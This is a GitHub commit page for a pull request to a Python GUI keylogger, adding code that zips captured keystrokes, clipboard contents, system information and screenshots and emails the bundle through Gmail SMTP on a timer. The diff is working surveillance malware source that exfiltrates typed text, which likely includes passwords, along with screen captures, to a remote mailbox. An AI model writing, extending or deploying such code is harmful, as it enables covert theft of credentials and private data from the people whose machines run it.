Skip to content

Commit 5931054

Browse files
Merge pull request #30 from mukeshdhadhariya/main
feat(zip): create zip bundle of logs & send via email
2 parents a4db448 + 475dd0e commit 5931054

File tree

2 files changed

+182
-15
lines changed

2 files changed

+182
-15
lines changed

app/.gitignore

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
.env
22
data/*.txt
33
data/*.png
4-
data/screenshots
4+
data/screenshots
5+
data/*.zip
6+
data/*.json

app/guikeylogger.py

Lines changed: 179 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,14 @@
55
import smtplib
66
import socket
77
import threading
8+
import zipfile
89
import tkinter
10+
from typing import Tuple
11+
import tempfile
912
import urllib.error
1013
from email import encoders
1114
from email.mime.base import MIMEBase
15+
from email.mime.application import MIMEApplication
1216
from email.mime.multipart import MIMEMultipart
1317
from email.mime.text import MIMEText
1418
from time import sleep
@@ -21,10 +25,12 @@
2125
from pynput.keyboard import Listener
2226

2327
import glob
24-
from datetime import datetime
28+
from datetime import datetime, timezone
29+
logging.basicConfig(level=logging.INFO)
30+
logger = logging.getLogger(__name__)
2531

2632
import json
27-
import time
33+
import time
2834

2935
_DEFAULT_CONFIG = {
3036
"paths": {
@@ -108,7 +114,10 @@ def load_config():
108114
CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30))
109115
LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0))
110116

117+
data_dir = _DEFAULT_CONFIG["paths"]["data_dir"]
111118
KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10))
119+
STATE_FILE = os.path.join(data_dir, "last_email_state.json")
120+
KEYLOG_EXTRA_BYTES = 32 * 1024
112121

113122
email_cfg = config["email"]
114123
SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com")
@@ -139,30 +148,184 @@ def on_closing():
139148
stopFlag = True
140149
root.destroy()
141150

151+
def load_state():
152+
default = {
153+
"last_email_time": 0.0,
154+
"offsets": {"key_log": 0, "clipboard": 0, "systeminfo": 0},
155+
"sent_screenshots": []
156+
}
157+
if not os.path.exists(STATE_FILE):
158+
os.makedirs(data_dir, exist_ok=True)
159+
with open(STATE_FILE, "w") as f:
160+
json.dump(default, f)
161+
return default
162+
try:
163+
with open(STATE_FILE, "r") as f:
164+
return json.load(f)
165+
except:
166+
return default
167+
168+
def save_state(state):
169+
with open(STATE_FILE, "w") as f:
170+
json.dump(state, f)
171+
172+
def read_from_offset(path, offset, extra_bytes=0, prefer_tail=False):
173+
"""
174+
Read robustly from `path`. Returns (decoded_string, current_file_size).
175+
- If prefer_tail True: ignore offset and return up to the last extra_bytes of file.
176+
- Otherwise: read from max(0, offset - extra_bytes) to EOF. If offset > file_size -> return "".
177+
"""
178+
try:
179+
if not os.path.exists(path):
180+
return "", 0
181+
file_size = os.path.getsize(path)
182+
183+
if prefer_tail and extra_bytes > 0:
184+
start = max(0, file_size - extra_bytes)
185+
else:
186+
offset = max(0, int(offset))
187+
# if offset beyond EOF, there's nothing new; return empty and current size
188+
if offset > file_size:
189+
return "", file_size
190+
start = max(0, offset - extra_bytes)
191+
192+
# Try a safe read; on Windows a writer might keep an exclusive lock.
193+
# As a fallback, attempt to copy to a temp file and read that (optional).
194+
with open(path, "rb") as f:
195+
if start > file_size:
196+
start = file_size
197+
f.seek(start)
198+
data_bytes = f.read()
199+
200+
data = data_bytes.decode("utf-8", errors="replace")
201+
return data, file_size
202+
203+
except Exception as e:
204+
# replace with logging in your app: logging.exception("read_from_offset failed")
205+
return "", 0
206+
207+
def gather_screenshots(last_email_time, sent_list):
208+
if not os.path.exists(SCREENSHOT_DIR):
209+
return []
210+
files = []
211+
for fname in sorted(os.listdir(SCREENSHOT_DIR)):
212+
fpath = os.path.join(SCREENSHOT_DIR, fname)
213+
if not os.path.isfile(fpath):
214+
continue
215+
try:
216+
mtime = os.path.getmtime(fpath)
217+
except:
218+
continue
219+
if mtime > last_email_time and fname not in sent_list:
220+
files.append((fname, fpath, mtime))
221+
files.sort(key=lambda x: x[2])
222+
return files
223+
224+
def make_zip(state):
225+
os.makedirs(data_dir, exist_ok=True)
226+
timestamp = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")
227+
zip_name = f"bundle_{timestamp}.zip"
228+
zip_path = os.path.join(data_dir, zip_name)
229+
230+
new_state_updates = {"offsets": {}, "sent_screenshots": []}
231+
232+
with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z:
233+
# Key log
234+
key_log_path = os.path.join(data_dir, "key_log.txt")
235+
key_offset = state.get("offsets", {}).get("key_log", 0)
236+
key_data, new_offset = read_from_offset(
237+
key_log_path, key_offset, extra_bytes=KEYLOG_EXTRA_BYTES, prefer_tail=True
238+
)
239+
if key_data:
240+
z.writestr("key_log_recent.txt", key_data)
241+
new_state_updates["offsets"]["key_log"] = new_offset
242+
243+
244+
# Clipboard recent data
245+
clipboard_path = os.path.join(data_dir, "clipboard.txt")
246+
clip_data, new_clip_offset = read_from_offset(clipboard_path, state["offsets"].get("clipboard", 0))
247+
if clip_data:
248+
z.writestr("clipboard_recent.txt", clip_data)
249+
new_state_updates["offsets"]["clipboard"] = new_clip_offset
250+
251+
# Clipboard full file (optional)
252+
if os.path.exists(clipboard_path):
253+
z.write(clipboard_path, arcname="clipboard_full.txt")
254+
255+
256+
257+
# System info
258+
sysinfo_path = os.path.join(data_dir, "systeminfo.txt")
259+
sys_data, new_sys_offset = read_from_offset(sysinfo_path, state["offsets"].get("systeminfo", 0))
260+
if sys_data:
261+
z.writestr("systeminfo_recent.txt", sys_data)
262+
new_state_updates["offsets"]["systeminfo"] = new_sys_offset
263+
264+
# Screenshots
265+
last_email_time = state.get("last_email_time", 0.0)
266+
screenshots = gather_screenshots(last_email_time, state.get("sent_screenshots", []))
267+
for fname, fpath, mtime in screenshots:
268+
arcname = os.path.join("screenshots", fname)
269+
try:
270+
z.write(fpath, arcname=arcname)
271+
new_state_updates["sent_screenshots"].append(fname)
272+
except:
273+
continue
142274

143-
# Function to send email with attachment
275+
return zip_path, new_state_updates
276+
277+
# --- Email utility (robust, uses SMTP_HOST/SMTP_PORT from config) ---
144278
def send_email(filename, attachment, toaddr):
279+
"""
280+
Modified to send bundled zip with all recent logs and screenshots.
281+
filename: will be replaced by generated zip filename
282+
attachment: ignored, auto-handled
283+
"""
284+
# Load last state
285+
state = load_state()
286+
287+
# Create zip with recent logs/screenshots
288+
zip_path, updates = make_zip(state)
289+
filename = os.path.basename(zip_path)
290+
291+
# Compose email
145292
fromaddr = email_address
146293
msg = MIMEMultipart()
147294
msg['From'] = fromaddr
148295
msg['To'] = toaddr
149-
msg['Subject'] = "Log File"
150-
body = "LOG file"
296+
msg['Subject'] = "Keylogger Logs Bundle"
297+
body = "Attached is the recent keylogger data bundle."
151298
msg.attach(MIMEText(body, 'plain'))
152-
filename = filename
153-
attachment = open(attachment, 'rb')
154-
p = MIMEBase('application', 'octet-stream')
155-
p.set_payload(attachment.read())
299+
300+
with open(zip_path, 'rb') as attachment_file:
301+
p = MIMEBase('application', 'octet-stream')
302+
p.set_payload(attachment_file.read())
156303
encoders.encode_base64(p)
157-
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
304+
p.add_header('Content-Disposition', f"attachment; filename={filename}")
158305
msg.attach(p)
306+
307+
# Send email
159308
s = smtplib.SMTP('smtp.gmail.com', 587)
160309
s.starttls()
161310
s.login(fromaddr, password)
162-
text = msg.as_string()
163-
s.sendmail(fromaddr, toaddr, text)
311+
s.sendmail(fromaddr, toaddr, msg.as_string())
164312
s.quit()
165-
313+
# Delete zip after sending
314+
try:
315+
os.remove(zip_path)
316+
except:
317+
pass
318+
319+
# Update state
320+
new_state = state.copy()
321+
new_state["last_email_time"] = time.time()
322+
offsets = new_state.get("offsets", {})
323+
offsets.update(updates.get("offsets", {}))
324+
new_state["offsets"] = offsets
325+
sent = set(new_state.get("sent_screenshots", []))
326+
sent.update(updates.get("sent_screenshots", []))
327+
new_state["sent_screenshots"] = list(sent)
328+
save_state(new_state)
166329

167330
# Function to gather system information
168331
def computer_information():
@@ -288,6 +451,7 @@ def start_logger():
288451
if now - last_screenshot >= SCREENSHOT_INTERVAL:
289452
try:
290453
screenshot()
454+
computer_information()
291455
except Exception as e:
292456
logging.error(f"Screenshot error: {e}")
293457
last_screenshot = now
@@ -296,7 +460,9 @@ def start_logger():
296460
if now - last_email >= EMAIL_INTERVAL:
297461
if email_address and password and toAddr:
298462
try:
463+
print("before")
299464
send_email(keys_information, keys_information, toAddr)
465+
print("after")
300466
except Exception as e:
301467
logging.error(f"Email send failed: {e}")
302468
last_email = now
@@ -308,7 +474,6 @@ def start_logger():
308474
listener = Listener(on_press=on_press)
309475

310476

311-
312477
# Function to handle button click event
313478
def on_button_click():
314479
global state, toAddr, listener, stopFlag, receiver_entry, btnStr

0 commit comments

Comments
 (0)